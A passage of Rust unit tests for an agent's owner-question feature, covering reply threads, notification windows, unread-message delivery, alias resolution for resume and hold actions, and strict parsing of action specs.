3884 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3885 assert!(e.contains("empty"), "{e}");
3886 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3887 }
3888
3889 #[test]
3890 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3891 let mut q = choice_question();
3892 q.say("SQLite or Redis, but what about disk space?")
3893 .unwrap();
3894 assert!(q.waiting_on_agent());
3895
3896 q.reply(
3897 "SQLite: it is one file, no server to run.",
3898 vec!["SQLite".to_owned()],
3899 )
3900 .unwrap();
3901
3902 assert_eq!(q.choices, ["SQLite"]);
3903 assert!(
3904 !q.waiting_on_agent(),
3905 "the agent spoke, so the owner is the one being waited on now"
3906 );
3907 assert_eq!(q.thread.len(), 2);
3908 assert_eq!(q.thread[1].who, Who::Agent);
3909
3910 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3912 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3913 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3914 }
3915
3916 #[test]
3917 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3918 let mut fresh = choice_question();
3919 assert!(
3920 fresh.should_notify(Timestamp::now()),
3921 "nobody has been notified yet, so the first ask always pages"
3922 );
3923
3924 fresh.say("why not Postgres?").unwrap();
3925 let just_said = fresh.thread[0].at;
3926 assert!(
3927 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3928 "still on the screen a minute later; no need to page again"
3929 );
3930 assert!(
3931 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3932 "exactly the window: `>` means this side stays quiet"
3933 );
3934 assert!(
3935 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3936 "past the window: they may have walked away"
3937 );
3938 }
3939
3940 #[test]
3941 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3942 let (_dir, s) = store();
3943 let mut q = choice_question();
3944 s.put(&mut q).unwrap();
3945 q.say("why not Postgres?").unwrap();
3946 s.put(&mut q).unwrap();
3947 q.reply("no server to run", vec!["SQLite".to_owned()])
3948 .unwrap();
3949 s.put(&mut q).unwrap();
3950
3951 assert_eq!(
3952 s.count_open(),
3953 1,
3954 "one question that talked twice is still one open question"
3955 );
3956 assert_eq!(s.open_for(&q.run).len(), 1);
3957 }
3958
3959 #[tokio::test]
3960 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3961 let (dir, s) = store();
3962 let mut q = choice_question();
3963 let id = q.id.clone();
3964 let writer = Questions::at(dir.path().join("questions"));
3965 let handle = tokio::spawn(async move {
3966 tokio::time::sleep(Duration::from_millis(30)).await;
3967 let mut fresh = writer.get(&id).expect("the question was filed first");
3968 fresh.say("why not Postgres?").unwrap();
3969 writer.put(&mut fresh).unwrap();
3970 });
3971
3972 let got = wait_for_owner(
3973 &mut q,
3974 &s,
3975 &quiet(),
3976 Duration::from_secs(5),
3977 Duration::from_millis(10),
3978 )
3979 .await
3980 .unwrap();
3981
3982 handle.await.unwrap();
3983 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3984 assert_eq!(
3985 q.status,
3986 QuestionStatus::Open,
3987 "talking back is not a decision; the question stays open"
3988 );
3989 assert!(q.answer.is_none());
3990 }
3991
3992 #[test]
3993 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3994 let mut q = choice_question();
3995 q.say("A").unwrap();
3996 q.delivered_turns = q.thread.len();
3997 q.say("B").unwrap();
3998 q.reply("about A", vec![]).unwrap();
3999 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4000 q.delivered_turns = q.thread.len();
4001 assert_eq!(q.unread_from_owner(), None);
4002 }
4003
4004 #[test]
4005 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4006 let (_d, s) = store();
4007 let mut q = choice_question();
4008 s.put(&mut q).unwrap();
4009 q.say("first").unwrap();
4010 q.say("second").unwrap();
4011 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4012 s.put(&mut q).unwrap();
4013 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4014 let mut out = Vec::new();
4015 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4016 let shown = String::from_utf8(out).unwrap();
4017 let (a, b, c) = (
4018 shown.find("first").unwrap(),
4019 shown.find("second").unwrap(),
4020 shown.find("SQLite").unwrap(),
4021 );
4022 assert!(a < b && b < c, "{shown}");
4023 assert_eq!(q.delivered_turns, q.thread.len());
4024 assert!(q.answer_delivered);
4025 }
4026
4027 #[test]
4028 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4029 let mut q = choice_question();
4030 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4031 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4032 let mut q = choice_question();
4033 q.say("old").unwrap();
4034 q.delivered_turns = q.thread.len();
4035 q.say("new").unwrap();
4036 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4037 let shown = answer_for_agent(&q, "SQLite");
4038 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4039 }
4040
4041 #[test]
4042 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4043 let mut q = choice_question();
4044 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4045 q.actions.insert(
4046 q.choices[0].clone(),
4047 ChoiceAction::ResumeRun {
4048 run: "run-a".into(),
4049 },
4050 );
4051 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4052 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4053 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4054 assert!(
4055 q.resolve_reply("resume-run")
4056 .unwrap_err()
4057 .to_string()
4058 .contains("with offered choices")
4059 );
4060 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4061 assert!(
4062 q.resolve_reply("daemon: resume [resume run run-a]")
4063 .is_err()
4064 );
4065 q.actions.insert(
4066 q.choices[0].clone(),
4067 ChoiceAction::Resume {
4068 run: "run-a".into(),
4069 },
4070 );
4071 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4072 q.choices.push("another resume".into());
4073 q.actions.insert(
4074 "another resume".into(),
4075 ChoiceAction::Resume {
4076 run: "run-b".into(),
4077 },
4078 );
4079 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4080 }
4081
4082 #[test]
4083 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4084 let mut q = choice_question();
4085 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4086 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4087 q.actions
4088 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4089 }
4090 assert!(
4091 q.resolve_reply("再開")
4092 .unwrap_err()
4093 .to_string()
4094 .contains("ambiguous")
4095 );
4096 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4097 q.choices.remove(1);
4098 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4099 assert!(q.resolve_reply("resume run-b").is_err());
4100 assert!(q.resolve_reply("保留").is_err());
4101 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4102 assert!(!ChoiceAction::Done.matches_alias("完了"));
4103 }
4104
4105 #[test]
4106 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4107 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4108 let ok = parse_actions(
4109 &[
4110 "resume で続行する=resume".to_owned(),
4111 "wait=done".to_owned(),
4112 ],
4113 &choices,
4114 "run-1",
4115 )
4116 .unwrap();
4117 assert_eq!(
4118 ok["resume で続行する"],
4119 ChoiceAction::Resume {
4120 run: "run-1".into()
4121 }
4122 );
4123 assert_eq!(ok["wait"], ChoiceAction::Done);
4124
4125 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4126 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4127 assert_eq!(
4128 ChoiceAction::parse("x=requeue", "").unwrap().1,
4129 ChoiceAction::Requeue
4130 );
4131
4132 assert_eq!(
4133 ChoiceAction::parse("x=hold", "").unwrap().1,
4134 ChoiceAction::Hold
4135 );
4136
4137 for bad in [
4138 "no-equals",
4139 "=done",
4140 "x=resume",
4141 "x=resume:",
4142 "x=explode",
4143 "x=done:1",
4144 ] {
4145 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4146 }
4147 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4148 assert!(
4149 parse_actions(
4150 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4151 &choices,
4152 ""
4153 )
4154 .is_err()
4155 );
4156 }
4157
4158 #[test]
4159 fn only_a_chosen_label_with_an_action_is_actionable() {
4160 let mut q = choice_question();
4161 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4162 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4163 assert!(q.chosen_action().is_none(), "unanswered");
4164 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4165 assert!(
4166 q.chosen_action().is_none(),
4167 "a label that merely reads like an action does nothing"
4168 );
4169
4170 let mut q2 = choice_question();
4171 q2.choices = vec!["SQLite".to_owned()];
4172 q2.actions
4173 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4174 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4175 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4176 }
4177
4178 #[test]
4179 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4180 let mut q = choice_question();
4181 q.choices = vec!["A".to_owned(), "B".to_owned()];
4182 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4183 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4184 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4185 assert_eq!(q.actions.len(), 1);
4186 assert!(q.actions.contains_key("B"));
4187
4188 let mut v = serde_json::to_value(&q).unwrap();
4189 v.as_object_mut().unwrap().remove("actions");
4190 let old: Question = serde_json::from_value(v).unwrap();
4191 assert!(old.actions.is_empty());
4192 }
4193}